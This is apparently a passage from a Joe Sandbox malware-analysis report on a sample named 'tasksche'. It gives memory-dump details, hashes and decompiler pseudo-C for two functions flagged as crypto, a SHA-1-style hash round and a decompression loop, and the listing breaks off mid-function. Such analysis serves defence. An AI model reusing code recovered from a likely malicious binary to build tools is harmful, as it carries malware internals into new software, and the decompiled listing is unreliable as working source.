0x0040d1db

APIs

GetLocaleInfoW.KERNEL32(00000400,0000000F,?,00000064), ref: 0040D17B
GetNumberFormatW.KERNEL32 ref: 0040D1CA

Memory Dump Source

Source File: 00000009.00000002.773160296.0000000000401000.00000020.00000001.01000000.0000000D.sdmp, Offset: 00400000, based on PE: true

Associated: 00000009.00000002.773127087.0000000000400000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000009.00000002.773302345.000000000042A000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000009.00000002.773324321.0000000000430000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000009.00000002.773360057.0000000000435000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000009.00000002.773375129.000000000044F000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000009.00000002.773387412.0000000000452000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_400000_tasksche.jbxd

Similarity

API ID: FormatInfoLocaleNumber
String ID:
API String ID: 2169056816-0
Opcode ID: fae0c5bc4c9ea969901553f08fe9413b92117c2e4d377c34b7ff725826ea960f
Instruction ID: 2e86bd0250e0b4fef5c8dc12a3830970d19becb9d4c55c3472b337e1343b8b10
Opcode Fuzzy Hash: fae0c5bc4c9ea969901553f08fe9413b92117c2e4d377c34b7ff725826ea960f
Instruction Fuzzy Hash: DB017C35600248AEE710DFA4EC41FAAB7FCEF09714F005426FA04EB1A0D3B89915CB6D

Uniqueness

Uniqueness Score: -1.00%

Function 00410178 Relevance: 2.8, Strings: 2, Instructions: 289
COMMONCrypto

Download Yara Rule

C-Code - Quality: 83%

			E00410178(void* __ecx, void* _a4, signed int _a8, signed int* _a12, signed int _a16) {
				intOrPtr* _v8;
				intOrPtr* _v12;
				signed int* _v16;
				void _v36;
				void* __ebx;
				void* __edi;
				void* __esi;
				signed int* _t236;
				signed int _t244;
				signed int _t255;
				signed int _t264;
				signed int _t274;
				void* _t276;
				signed int _t286;
				signed int _t288;
				signed int _t292;
				signed int _t298;
				signed int* _t312;
				void* _t332;
				intOrPtr _t333;
				signed int _t337;
				signed int* _t340;
				signed int* _t341;
				signed int* _t345;
				signed int _t346;
				signed int* _t350;
				void* _t351;
				void* _t356;
				signed int _t389;
				void* _t390;
				signed int* _t392;
				signed int* _t400;
				signed int* _t408;
				signed int* _t412;
				signed int* _t415;
				signed int* _t420;
				void* _t421;
				void* _t422;

				if(_a16 == 0) {
					_t286 = _a12;
				} else {
					_t286 = _a8;
					E0041C290(_t286, _t356, _t390, _t286, _a12, 0x40);
					_t422 = _t422 + 0xc;
				}
				if( *0x44f578 == 0) {
					_t333 = 0;
					_t420 = 0x44ef3c;
					do {
						_t5 = _t333 + 1; // 0x1
						asm("cdq");
						_t389 = 5;
						_t10 = _t333 + 2; // 0x2
						 *((intOrPtr*)(_t420 - 4)) = _t333;
						 *_t420 = _t5 % _t389;
						asm("cdq");
						_t16 = _t333 + 3; // 0x3
						_t420 =  &(_t420[5]);
						 *(_t420 - 0x10) = _t10 % _t389;
						asm("cdq");
						_t22 = _t333 + 4; // 0x4
						 *(_t420 - 0xc) = _t16 % _t389;
						asm("cdq");
						 *(_t420 - 8) = _t22 % _t389;
						if(_t333 == 0) {
							_t333 = 4;
						} else {
							_t333 = _t333 - 1;
						}
					} while (_t420 < 0x44f57c);
					 *0x44f578 = 1;
				}
				_t288 = 5;
				memcpy( &_v36, _a4, _t288 << 2);
				_t236 = 0x44ef44;
				_a16 = _t286;
				do {
					_t392 = _a16;
					asm("ror ecx, 0x8");
					asm("rol edx, 0x8");
					_t292 =  *_t392 & 0xff00ff00 |  *_t392 & 0x00ff00ff;
					 *_t392 = _t292;
					_t337 =  *(_t421 +  *_t236 * 4 - 0x20);
					_a16 = _a16 + 4;
					_a12 = _t421 +  *(_t236 - 8) * 4 - 0x20;
					_v8 = _t421 + _t236[1] * 4 - 0x20;
					_a8 = _t337;
					asm("rol esi, 0x5");
					_t62 =  *((intOrPtr*)(_t421 +  *(_t236 - 0xc) * 4 - 0x20)) + _t292 + 0x5a827999; // 0x5a827a75
					 *_v8 =  *_v8 + (( *(_t421 +  *(_t236 - 4) * 4 - 0x20) ^ _t337) &  *_a12 ^ _a8) + _t62;
					asm("ror dword [ecx], 0x2");
					_t236 =  &(_t236[5]);
					_t340 = 0x44f084;
				} while (_t236 < 0x44f084);
				_a16 = 0x10;
				do {
					_t66 = _a16 - 3; // 0xd
					_t295 = _t66;
					_t400 = _t286 + (_a16 & 0x0000000f) * 4;
					_t69 = _t295 - 5; // 0x8
					_t72 = _t295 + 5; // 0x12
					_t244 =  *(_t286 + (_t69 & 0x0000000f) * 4) ^  *(_t286 + (_t72 & 0x0000000f) * 4) ^  *(_t286 + (_t66 & 0x0000000f) * 4) ^  *_t400;
					asm("rol eax, 1");
					 *_t400 = _t244;
					_t77 = _t340 - 8; // 0x0
					_t298 =  *(_t421 +  *_t340 * 4 - 0x20);
					_t81 = _t340 - 4; // 0x0
					_a12 = _t421 +  *_t77 * 4 - 0x20;
					_t89 =  &(_t340[1]); // 0x0
					_v8 = _t421 +  *_t89 * 4 - 0x20;
					_t94 = _t340 - 0xc; // 0x0
					_a8 = _t298;
					asm("rol esi, 0x5");
					_t103 =  *((intOrPtr*)(_t421 +  *_t94 * 4 - 0x20)) + _t244 + 0x5a827999; // 0x5a827a75
					 *_v8 =  *_v8 + (( *(_t421 +  *_t81 * 4 - 0x20) ^ _t298) &  *_a12 ^ _a8) + _t103;
					asm("ror dword [eax], 0x2");
					_a16 = _a16 + 1;
					_t340 =  &(_t340[5]);
				} while (_t340 < 0x44f0d4);
				_a16 = 0x14;
				_t341 = 0x44f0d4;
				do {
					_t109 = _a16 - 3; // 0x11
					_t301 = _t109;
					_t408 = _t286 + (_a16 & 0x0000000f) * 4;
					_t112 = _t301 - 5; // 0xc
					_t113 = _t301 + 5; // 0x16
					_t255 =  *(_t286 + (_t112 & 0x0000000f) * 4) ^  *(_t286 + (_t113 & 0x0000000f) * 4) ^  *(_t286 + (_t109 & 0x0000000f) * 4) ^  *_t408;
					asm("rol eax, 1");
					 *_t408 = _t255;
					_t120 = _t341 - 8; // 0x0
					_a12 = _t421 +  *_t120 * 4 - 0x20;
					_t125 =  &(_t341[1]); // 0x0
					_v8 = _t421 +  *_t125 * 4 - 0x20;
					_t130 = _t341 - 0xc; // 0x0
					_t134 = _t341 - 4; // 0x0
					asm("rol esi, 0x5");
					 *_v8 =  *_v8 + ( *(_t421 +  *_t134 * 4 - 0x20) ^  *(_t421 +  *_t341 * 4 - 0x20) ^  *_a12) +  *((intOrPtr*)(_t421 +  *_t130 * 4 - 0x20)) + _t255 + 0x6ed9eba1;
					asm("ror dword [ecx], 0x2");
					_a16 = _a16 + 1;
					_t341 =  &(_t341[5]);
				} while (_t341 < 0x44f264);
				_t312 = 0x44f260;
				_a16 = 0x28;
				_a12 = 0x44f260;
				do {
					_t150 = _a16 - 3; // 0x25
					_t342 = _t150;
					_t412 = _t286 + (_a16 & 0x0000000f) * 4;
					_t153 = _t342 - 5; // 0x20
					_t156 = _t342 + 5; // 0x2a
					_t264 =  *(_t286 + (_t153 & 0x0000000f) * 4) ^  *(_t286 + (_t156 & 0x0000000f) * 4) ^  *(_t286 + (_t150 & 0x0000000f) * 4) ^  *_t412;
					asm("rol eax, 1");
					 *_t412 = _t264;
					_t161 = _t312 - 4; // 0x0
					_t162 =  &(_t312[2]); // 0x0
					_t345 = _t421 +  *_t161 * 4 - 0x20;
					_v16 = _t345;
					_t346 =  *_t345;
					_v12 = _t421 +  *_t162 * 4 - 0x20;
					_t174 = _t312 - 8; // 0x0
					_t175 =  &(_t312[1]); // 0x0
					_a8 = _t346;
					asm("rol edi, 0x5");
					 *_v12 =  *_v12 + ( *(_t421 +  *_t175 * 4 - 0x20) & (_t346 |  *(_t421 +  *_t312 * 4 - 0x20)) | _a8 &  *(_t421 +  *_t312 * 4 - 0x20)) +  *((intOrPtr*)(_t421 +  *_t174 * 4 - 0x20)) + _t264 - 0x70e44324;
					asm("ror dword [eax], 0x2");
					_a16 = _a16 + 1;
					_t312 =  &(_a12[5]);
					_a12 = _t312;
				} while (_t312 < 0x44f3f0);
				_a16 = 0x3c;
				_t350 = 0x44f3f4;
				do {
					_t194 = _a16 - 3; // 0x39
					_t320 = _t194;
					_t415 = _t286 + (_a16 & 0x0000000f) * 4;
					_t197 = _t320 - 5; // 0x34
					_t198 = _t320 + 5; // 0x3e
					_t274 =  *(_t286 + (_t197 & 0x0000000f) * 4) ^  *(_t286 + (_t198 & 0x0000000f) * 4) ^  *(_t286 + (_t194 & 0x0000000f) * 4) ^  *_t415;
					asm("rol eax, 1");
					 *_t415 = _t274;
					_t205 = _t350 - 8; // 0x0
					_a12 = _t421 +  *_t205 * 4 - 0x20;
					_t210 =  &(_t350[1]); // 0x0
					_v16 = _t421 +  *_t210 * 4 - 0x20;
					_t215 = _t350 - 0xc; // 0x0
					_t219 = _t350 - 4; // 0x0
					asm("rol esi, 0x5");
					 *_v16 =  *_v16 + ( *(_t421 +  *_t219 * 4 - 0x20) ^  *(_t421 +  *_t350 * 4 - 0x20) ^  *_a12) +  *((intOrPtr*)(_t421 +  *_t215 * 4 - 0x20)) + _t274 - 0x359d3e2a;
					asm("ror dword [ecx], 0x2");
					_a16 = _a16 + 1;
					_t350 =  &(_t350[5]);
				} while (_t350 < 0x44f584);
				_t276 = _a4;
				_t332 =  &_v36 - _t276;
				_t351 = 5;
				do {
					 *_t276 =  *_t276 +  *((intOrPtr*)(_t332 + _t276));
					_t276 = _t276 + 4;
					_t351 = _t351 - 1;
				} while (_t351 != 0);
				return _t276;
			}

0x00410185
0x0041019a
0x00410187
0x00410187
0x00410190
0x00410195
0x00410195
0x004101a4
0x004101a6
0x004101a8
0x004101ad
0x004101ad
0x004101b0
0x004101b3
0x004101b6
0x004101b9
0x004101bc
0x004101be
0x004101c1
0x004101c4
0x004101c7
0x004101ca
0x004101cd
0x004101d0
0x004101d3
0x004101d6
0x004101db
0x004101e2
0x004101dd
0x004101dd
0x004101dd
0x004101e3
0x004101eb
0x004101eb
0x004101f7
0x004101fb
0x004101fd
0x00410202
0x00410205
0x00410205
0x0041020c
0x00410215
0x0041021e
0x00410220
0x00410227
0x00410232
0x0041023a
0x00410246
0x00410250
0x00410258
0x00410263
0x0041026a
0x0041026f
0x00410272
0x00410275
0x0041027a
0x0041027e
0x00410285
0x00410288
0x00410288
0x0041028e
0x00410291
0x0041029a
0x004102a9
0x004102ab
0x004102ad
0x004102af
0x004102b4
0x004102b8
0x004102c3
0x004102c6
0x004102cf
0x004102d2
0x004102d9
0x004102e1
0x004102ec
0x004102f3
0x004102f8
0x004102fb
0x004102fe
0x00410306
0x0041030e
0x00410315
0x00410317
0x0041031a
0x0041031a
0x00410320
0x00410323
0x00410326
0x0041033b
0x0041033d
0x0041033f
0x00410341
0x0041034a
0x0041034d
0x00410354
0x00410357
0x0041035e
0x00410369
0x0041037f
0x00410381
0x00410384
0x00410387
0x0041038a
0x00410392
0x00410397
0x0041039e
0x004103a1
0x004103a4
0x004103a4
0x004103aa
0x004103ad
0x004103b6
0x004103c5
0x004103c7
0x004103c9
0x004103cb
0x004103ce
0x004103d7
0x004103df
0x004103e2
0x004103e4
0x004103e7
0x004103ea
0x004103f5
0x00410405
0x00410414
0x0041041c
0x0041041f
0x00410422
0x0041042b
0x0041042b
0x00410434
0x0041043b
0x00410440
0x00410443
0x00410443
0x00410449
0x0041044c
0x0041044f
0x00410464
0x00410466
0x00410468
0x0041046a
0x00410473
0x00410476
0x0041047d
0x00410480
0x00410487
0x00410492
0x004104a8
0x004104aa
0x004104ad
0x004104b0
0x004104b3
0x004104bb
0x004104c3
0x004104c5
0x004104c6
0x004104c9
0x004104cb
0x004104ce
0x004104ce
0x004104d5

Strings

<D, xrefs: 004101A8
DD, xrefs: 004101FD

Memory Dump Source

Source File: 00000009.00000002.773160296.0000000000401000.00000020.00000001.01000000.0000000D.sdmp, Offset: 00400000, based on PE: true

Associated: 00000009.00000002.773127087.0000000000400000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000009.00000002.773302345.000000000042A000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000009.00000002.773324321.0000000000430000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000009.00000002.773360057.0000000000435000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000009.00000002.773375129.000000000044F000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000009.00000002.773387412.0000000000452000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_400000_tasksche.jbxd

Similarity

API ID:
String ID: <D$DD
API String ID: 0-3036587789
Opcode ID: a120047ceaa170e9019935171625ae5ad03bfb54992e95746f25c16dbdc0a917
Instruction ID: 59a02f745f793eb532b4d9e305735a670a6f692f985c4356a20c5044c607aa25
Opcode Fuzzy Hash: a120047ceaa170e9019935171625ae5ad03bfb54992e95746f25c16dbdc0a917
Instruction Fuzzy Hash: E8D15D72A0061ACFCF14CF58D884599B3B1FF8C308B2685ADE919AB245D731BA56CF94

Uniqueness

Uniqueness Score: -1.00%

Function 00417D78 Relevance: 2.6, APIs: 1, Instructions: 1055
COMMONCrypto

Download Yara Rule

C-Code - Quality: 100%

			E00417D78(void* __ecx, unsigned int _a4, char _a7) {
				unsigned int _v8;
				signed int _v12;
				signed int _v16;
				signed int _v20;
				void* __ebx;
				void* __edi;
				void* __esi;
				void* __ebp;
				intOrPtr _t539;
				signed int _t540;
				unsigned int _t541;
				signed int _t544;
				signed int _t545;
				signed int _t547;
				unsigned int _t551;
				signed int _t553;
				intOrPtr* _t554;
				unsigned int _t556;
				signed int _t559;
				signed int _t560;
				signed int _t561;
				signed int _t562;
				unsigned int _t563;
				signed int _t566;
				signed int _t567;
				signed int _t568;
				signed int _t570;
				unsigned int _t571;
				unsigned int _t580;
				unsigned int _t582;
				signed int _t583;
				unsigned int _t584;
				signed int _t587;
				signed int _t588;
				signed int _t589;
				unsigned int _t590;
				signed int _t592;
				unsigned int _t593;
				unsigned int _t594;
				unsigned int _t595;
				signed int _t597;
				void* _t598;
				signed int _t601;
				signed int _t602;
				unsigned int _t603;
				signed int _t606;
				signed int _t607;
				unsigned int _t611;
				signed int _t613;
				unsigned int _t614;
				unsigned int _t616;
				unsigned int _t618;
				signed int _t619;
				unsigned int _t620;
				signed int _t623;
				signed int _t624;
				unsigned int _t625;
				signed int _t626;
				unsigned int _t627;
				signed int _t630;
				signed int _t631;
				signed int _t632;
				unsigned int _t633;
				unsigned int _t634;
				unsigned int _t635;
				signed int _t636;
				signed int _t637;
				signed int _t638;
				unsigned int _t639;
				signed int _t642;
				signed int _t643;
				signed int _t644;
				void* _t648;
				void* _t649;
				signed int _t651;
				unsigned int _t658;
				unsigned int _t660;
				signed char _t661;
				signed int _t662;
				signed int _t666;
				unsigned int _t667;
				unsigned int _t669;
				signed int _t671;
				intOrPtr _t673;
				signed int _t678;
				signed int _t680;
				signed int _t681;
				signed int _t684;
				signed int _t688;
				signed int _t689;
				unsigned int _t695;
				signed int _t696;
				intOrPtr* _t700;
				intOrPtr* _t702;
				signed int _t704;
				signed int _t706;
				unsigned int _t708;
				void* _t710;
				signed int _t715;
				void* _t723;
				unsigned int _t727;
				unsigned int _t730;
				void* _t732;
				signed int _t734;
				char* _t740;
				unsigned int _t741;
				void* _t743;
				intOrPtr* _t747;
				void* _t748;
				signed int _t751;
				signed int _t753;
				unsigned int _t759;
				unsigned int _t762;
				signed int _t766;
				unsigned int _t768;
				void* _t770;
				signed int _t772;
				signed int _t773;
				void* _t779;
				void* _t781;
				signed int _t787;
				void* _t789;
				intOrPtr* _t791;
				void* _t792;
				signed int _t795;
				void* _t798;
				void* _t803;
				signed int _t806;
				void* _t809;
				void* _t814;
				signed int _t817;
				void* _t825;
				signed int _t826;
				intOrPtr _t829;
				unsigned int _t831;
				unsigned int _t832;
				signed int _t834;
				unsigned int _t841;
				void* _t849;
				void* _t854;
				signed int _t855;
				intOrPtr _t858;
				unsigned int _t859;
				signed int _t860;
				signed int _t862;
				intOrPtr _t865;
				signed int _t877;
				intOrPtr _t880;
				signed int _t888;
				signed int _t890;
				intOrPtr _t893;
				signed int _t901;
				signed int _t902;
				signed int _t921;
				signed int _t923;
				intOrPtr _t926;
				intOrPtr* _t934;
				signed int _t935;
				void* _t936;
				void* _t937;
				void* _t938;
				void* _t953;

				_t680 = 0;
				_t936 = __ecx;
				_t938 =  *0x44f6fc - _t680; // 0x0
				if(_t938 != 0) {
					L6:
					 *((char*)(_t936 + 0x4c58)) = 1;
					if( *((char*)(_t936 + 0x4c48)) != 0) {
						L11:
						_t934 = _t936 + 4;
						while(1) {
							L12:
							 *(_t936 + 0x70) =  *(_t936 + 0x70) &  *(_t936 + 0xe6dc);
							if( *_t934 >  *((intOrPtr*)(_t936 + 0x7c)) && E0041236D(_t683, _t936, _t852) == 0) {
								break;
							}
							_t539 =  *((intOrPtr*)(_t936 + 0x74));
							_t704 =  *(_t936 + 0x70);
							_t852 = _t539 - _t704 &  *(_t936 + 0xe6dc);
							if((_t539 - _t704 &  *(_t936 + 0xe6dc)) >= 0x104 || _t539 == _t704) {
								L20:
								if( *(_t936 + 0xe654) != 1) {
									_t540 = E0040978C(_t934);
									_t681 =  *(_t936 + 0x118);
									_t541 = _t540 & 0x0000fffe;
									__eflags = _t541 -  *((intOrPtr*)(_t936 + 0x98 + _t681 * 4));
									if(_t541 >=  *((intOrPtr*)(_t936 + 0x98 + _t681 * 4))) {
										_t852 = 0xf;
										_t706 = _t681 + 1;
										__eflags = _t706 - _t852;
										if(_t706 >= _t852) {
											L90:
											_t708 =  *(_t934 + 4) + _t852;
											 *(_t934 + 4) = _t708 & 0x00000007;
											_t683 = _t708 >> 3;
											 *_t934 =  *_t934 + (_t708 >> 3);
											_t710 = 0x10;
											_t544 = (_t541 -  *((intOrPtr*)(_t936 + 0x94 + _t852 * 4)) >> _t710 - _t852) +  *((intOrPtr*)(_t936 + 0xd8 + _t852 * 4));
											__eflags = _t544 -  *((intOrPtr*)(_t936 + 0x94));
											if(_t544 >=  *((intOrPtr*)(_t936 + 0x94))) {
												_t544 = 0;
												__eflags = 0;
											}
											_t545 =  *(_t936 + 0xd1c + _t544 * 2) & 0x0000ffff;
											L93:
											__eflags = _t545 - 0x100;
											if(_t545 >= 0x100) {
												__eflags = _t545 - 0x10f;
												if(_t545 < 0x10f) {
													__eflags = _t545 - 0x100;
													if(__eflags != 0) {
														__eflags = _t545 - 0x101;
														if(__eflags != 0) {
															__eflags = _t545 - 0x102;
															if(_t545 != 0x102) {
																__eflags = _t545 - 0x107;
																if(_t545 >= 0x107) {
																	__eflags = _t545 - 0x110;
																	if(_t545 >= 0x110) {
																		continue;
																	}
																	_t547 =  *(_t545 + 0x430081) & 0x000000ff;
																	_t683 = ( *(_t545 + 0x430089) & 0x000000ff) + 1;
																	_a4 = _t547;
																	__eflags = _t547;
																	if(_t547 > 0) {
																		_t556 = E0040978C(_t934);
																		_t723 = 0x10;
																		_t683 = _t683 + (_t556 >> _t723 - _a4);
																		_t559 =  *(_t934 + 4) + _a4;
																		 *_t934 =  *_t934 + (_t559 >> 3);
																		_t560 = _t559 & 0x00000007;
																		__eflags = _t560;
																		 *(_t934 + 4) = _t560;
																	}
																	_t715 =  *(_t936 + 0x70);
																	 *(_t936 + 0x60) =  *(_t936 + 0x5c);
																	 *(_t936 + 0x5c) =  *(_t936 + 0x58);
																	 *(_t936 + 0x58) =  *(_t936 + 0x54);
																	_t551 = 2;
																	 *(_t936 + 0x68) = _t551;
																	_a4 = _t551;
																	_t553 = _t715 - _t683;
																	_t854 =  *((intOrPtr*)(_t936 + 0xe6d8)) + 0xffffefff;
																	 *(_t936 + 0x54) = _t683;
																	__eflags = _t553 - _t854;
																	if(_t553 >= _t854) {
																		L218:
																		_t855 =  *(_t936 + 0xe6dc);
																		do {
																			_t683 =  *(_t936 + 0x70);
																			_a4 = _a4 - 1;
																			 *( *((intOrPtr*)(_t936 + 0x4b34)) +  *(_t936 + 0x70)) =  *((intOrPtr*)((_t855 & _t553) +  *((intOrPtr*)(_t936 + 0x4b34))));
																			_t855 =  *(_t936 + 0xe6dc);
																			_t553 = _t553 + 1;
																			__eflags = _a4;
																			 *(_t936 + 0x70) =  *(_t936 + 0x70) + 0x00000001 & _t855;
																		} while (_a4 > 0);
																	} else {
																		__eflags = _t715 - _t854;
																		if(_t715 >= _t854) {
																			goto L218;
																		}
																		_t858 =  *((intOrPtr*)(_t936 + 0x4b34));
																		_t554 = _t553 + _t858;
																		_t852 = _t858 + _t715;
																		 *(_t936 + 0x70) = _t715 + 2;
																		 *_t852 =  *_t554;
																		 *(_t852 + 1) =  *((intOrPtr*)(_t554 + 1));
																	}
																	continue;
																}
																_t561 = _t545 + 0xfffffefd;
																_t727 = _t936 + 0x54 + _t561 * 4;
																_t859 =  *_t727;
																_v12 = _t859;
																while(1) {
																	__eflags = _t561;
																	if(_t561 <= 0) {
																		break;
																	}
																	 *_t727 =  *(_t727 - 4);
																	_t561 = _t561 - 1;
																	_t727 = _t727 - 4;
																	__eflags = _t727;
																}
																 *(_t936 + 0x54) = _t859;
																_t562 = E0040978C(_t934);
																_t688 =  *(_t936 + 0x2ddc);
																_t563 = _t562 & 0x0000fffe;
																__eflags = _t563 -  *((intOrPtr*)(_t936 + 0x2d5c + _t688 * 4));
																if(_t563 >=  *((intOrPtr*)(_t936 + 0x2d5c + _t688 * 4))) {
																	_t860 = 0xf;
																	_t689 = _t688 + 1;
																	__eflags = _t689 - _t860;
																	if(_t689 >= _t860) {
																		L185:
																		_t730 =  *(_t934 + 4) + _t860;
																		 *(_t934 + 4) = _t730 & 0x00000007;
																		 *_t934 =  *_t934 + (_t730 >> 3);
																		_t732 = 0x10;
																		_t566 = (_t563 -  *((intOrPtr*)(_t936 + 0x2d58 + _t860 * 4)) >> _t732 - _t860) +  *((intOrPtr*)(_t936 + 0x2d9c + _t860 * 4));
																		__eflags = _t566 -  *((intOrPtr*)(_t936 + 0x2d58));
																		if(_t566 >=  *((intOrPtr*)(_t936 + 0x2d58))) {
																			_t566 = 0;
																			__eflags = 0;
																		}
																		_t567 =  *(_t936 + 0x39e0 + _t566 * 2) & 0x0000ffff;
																		L188:
																		_t568 =  *(_t567 + 0x430198) & 0x000000ff;
																		_t683 = ( *(_t567 + 0x4301b4) & 0x000000ff) + 2;
																		_v16 = _t683;
																		_a4 = _t568;
																		__eflags = _t568;
																		if(_t568 > 0) {
																			_t584 = E0040978C(_t934);
																			_t743 = 0x10;
																			_t683 = _t683 + (_t584 >> _t743 - _a4);
																			_t587 =  *(_t934 + 4) + _a4;
																			_v16 = _t683;
																			 *_t934 =  *_t934 + (_t587 >> 3);
																			_t588 = _t587 & 0x00000007;
																			__eflags = _t588;
																			 *(_t934 + 4) = _t588;
																		}
																		_t734 =  *(_t936 + 0x70);
																		_t570 = _t734 - _v12;
																		_t852 =  *((intOrPtr*)(_t936 + 0xe6d8)) + 0xffffefff;
																		 *(_t936 + 0x68) = _t683;
																		_a4 = _t683;
																		__eflags = _t570 - _t852;
																		if(_t570 >= _t852) {
																			L208:
																			__eflags = _t683;
																			if(_t683 <= 0) {
																				continue;
																			}
																			_t862 =  *(_t936 + 0xe6dc);
																			do {
																				_t683 =  *(_t936 + 0x70);
																				_a4 = _a4 - 1;
																				 *( *((intOrPtr*)(_t936 + 0x4b34)) +  *(_t936 + 0x70)) =  *((intOrPtr*)((_t862 & _t570) +  *((intOrPtr*)(_t936 + 0x4b34))));
																				_t862 =  *(_t936 + 0xe6dc);
																				_t570 = _t570 + 1;
																				__eflags = _a4;
																				 *(_t936 + 0x70) =  *(_t936 + 0x70) + 0x00000001 & _t862;
																			} while (_a4 > 0);
																			continue;
																		} else {
																			__eflags = _t734 - _t852;
																			if(_t734 >= _t852) {
																				goto L208;
																			}
																			_t865 =  *((intOrPtr*)(_t936 + 0x4b34));
																			_t683 = _t865 + _t570;
																			_t571 = _v16;
																			_t852 = _t865 + _t734;
																			_v8 = _t852;
																			 *(_t936 + 0x70) = _t734 + _t571;
																			__eflags = _v12 - _t571;
																			if(_v12 >= _t571) {
																				__eflags = _t571 - 8;
																				if(_t571 < 8) {
																					L200:
																					__eflags = _a4;
																					if(_a4 > 0) {
																						__eflags = _a4 - 1;
																						_t740 = _v8;
																						 *_t740 =  *_t683;
																						if(_a4 > 1) {
																							__eflags = _a4 - 2;
																							 *((char*)(_t740 + 1)) =  *((intOrPtr*)(_t683 + 1));
																							if(_a4 > 2) {
																								__eflags = _a4 - 3;
																								 *((char*)(_t740 + 2)) =  *((intOrPtr*)(_t683 + 2));
																								if(_a4 > 3) {
																									__eflags = _a4 - 4;
																									 *((char*)(_t740 + 3)) =  *((intOrPtr*)(_t683 + 3));
																									if(_a4 > 4) {
																										__eflags = _a4 - 5;
																										 *((char*)(_t740 + 4)) =  *((intOrPtr*)(_t683 + 4));
																										if(_a4 > 5) {
																											__eflags = _a4 - 6;
																											 *((char*)(_t740 + 5)) =  *((intOrPtr*)(_t683 + 5));
																											if(_a4 > 6) {
																												 *((char*)(_t740 + 6)) =  *((intOrPtr*)(_t683 + 6));
																											}
																										}
																									}
																								}
																							}
																						}
																					}
																					continue;
																				}
																				_t580 = _v16 >> 3;
																				__eflags = _t580;
																				_v16 = _t580;
																				do {
																					E0041C290(_t683, _t934, _t936, _v8, _t683, 8);
																					_v8 = _v8 + 8;
																					_a4 = _a4 - 8;
																					_t937 = _t937 + 0xc;
																					_t683 = _t683 + 8;
																					_t467 =  &_v16;
																					 *_t467 = _v16 - 1;
																					__eflags =  *_t467;
																				} while ( *_t467 != 0);
																				goto L200;
																			}
																			__eflags = _t571 - 8;
																			if(_t571 < 8) {
																				goto L200;
																			}
																			_t582 = _t571 >> 3;
																			__eflags = _t582;
																			_t741 = _t582;
																			_t583 = _t852;
																			do {
																				_a4 = _a4 - 8;
																				 *_t583 =  *_t683;
																				 *((char*)(_t583 + 1)) =  *((intOrPtr*)(_t683 + 1));
																				 *((char*)(_t583 + 2)) =  *((intOrPtr*)(_t683 + 2));
																				 *((char*)(_t583 + 3)) =  *((intOrPtr*)(_t683 + 3));
																				 *((char*)(_t583 + 4)) =  *((intOrPtr*)(_t683 + 4));
																				 *((char*)(_t583 + 5)) =  *((intOrPtr*)(_t683 + 5));
																				 *((char*)(_t583 + 6)) =  *((intOrPtr*)(_t683 + 6));
																				_t852 =  *((intOrPtr*)(_t683 + 7));
																				 *((char*)(_t583 + 7)) =  *((intOrPtr*)(_t683 + 7));
																				_t683 = _t683 + 8;
																				_t583 = _t583 + 8;
																				_t741 = _t741 - 1;
																				__eflags = _t741;
																			} while (_t741 != 0);
																			_v8 = _t583;
																			goto L200;
																		}
																	}
																	_t747 = _t936 + 0x2d5c + _t689 * 4;
																	while(1) {
																		__eflags = _t563 -  *_t747;
																		if(_t563 <  *_t747) {
																			break;
																		}
																		_t689 = _t689 + 1;
																		_t747 = _t747 + 4;
																		__eflags = _t689 - 0xf;
																		if(_t689 < 0xf) {
																			continue;
																		}
																		goto L185;
																	}
																	_t860 = _t689;
																	goto L185;
																}
																_t748 = 0x10;
																_t589 = _t563 >> _t748 - _t688;
																_t751 = ( *(_t589 + _t936 + 0x2de0) & 0x000000ff) +  *(_t934 + 4);
																 *_t934 =  *_t934 + (_t751 >> 3);
																 *(_t934 + 4) = _t751 & 0x00000007;
																_t567 =  *(_t936 + 0x31e0 + _t589 * 2) & 0x0000ffff;
																goto L188;
															}
															_t590 =  *(_t936 + 0x68);
															__eflags = _t590;
															if(_t590 == 0) {
																continue;
															}
															_t753 =  *(_t936 + 0x70);
															_a4 = _t590;
															_t592 = _t753 -  *(_t936 + 0x54);
															_t852 =  *((intOrPtr*)(_t936 + 0xe6d8)) + 0xffffefff;
															__eflags = _t592 - _t852;
															if(_t592 >= _t852) {
																L169:
																__eflags = _a4;
																if(_a4 <= 0) {
																	continue;
																}
																_t877 =  *(_t936 + 0xe6dc);
																do {
																	_t683 =  *(_t936 + 0x70);
																	_a4 = _a4 - 1;
																	 *( *((intOrPtr*)(_t936 + 0x4b34)) +  *(_t936 + 0x70)) =  *((intOrPtr*)((_t877 & _t592) +  *((intOrPtr*)(_t936 + 0x4b34))));
																	_t877 =  *(_t936 + 0xe6dc);
																	_t592 = _t592 + 1;
																	__eflags = _a4;
																	 *(_t936 + 0x70) =  *(_t936 + 0x70) + 0x00000001 & _t877;
																} while (_a4 > 0);
																continue;
															}
															__eflags = _t753 - _t852;
															if(_t753 >= _t852) {
																goto L169;
															}
															_t880 =  *((intOrPtr*)(_t936 + 0x4b34));
															_t683 = _t880 + _t592;
															_t593 = _a4;
															_t852 = _t880 + _t753;
															_v12 = _t852;
															 *(_t936 + 0x70) = _t753 + _t593;
															__eflags =  *(_t936 + 0x54) - _t593;
															if( *(_t936 + 0x54) >= _t593) {
																__eflags = _t593 - 8;
																if(_t593 < 8) {
																	L146:
																	_t759 = _a4;
																	__eflags = _t759;
																	if(_t759 <= 0) {
																		continue;
																	}
																	_t594 = _v12;
																	L53:
																	_t852 =  *_t683;
																	 *_t594 =  *_t683;
																	__eflags = _t759 - 1;
																	if(_t759 > 1) {
																		_t852 =  *((intOrPtr*)(_t683 + 1));
																		 *((char*)(_t594 + 1)) =  *((intOrPtr*)(_t683 + 1));
																		__eflags = _t759 - 2;
																		if(_t759 > 2) {
																			_t852 =  *((intOrPtr*)(_t683 + 2));
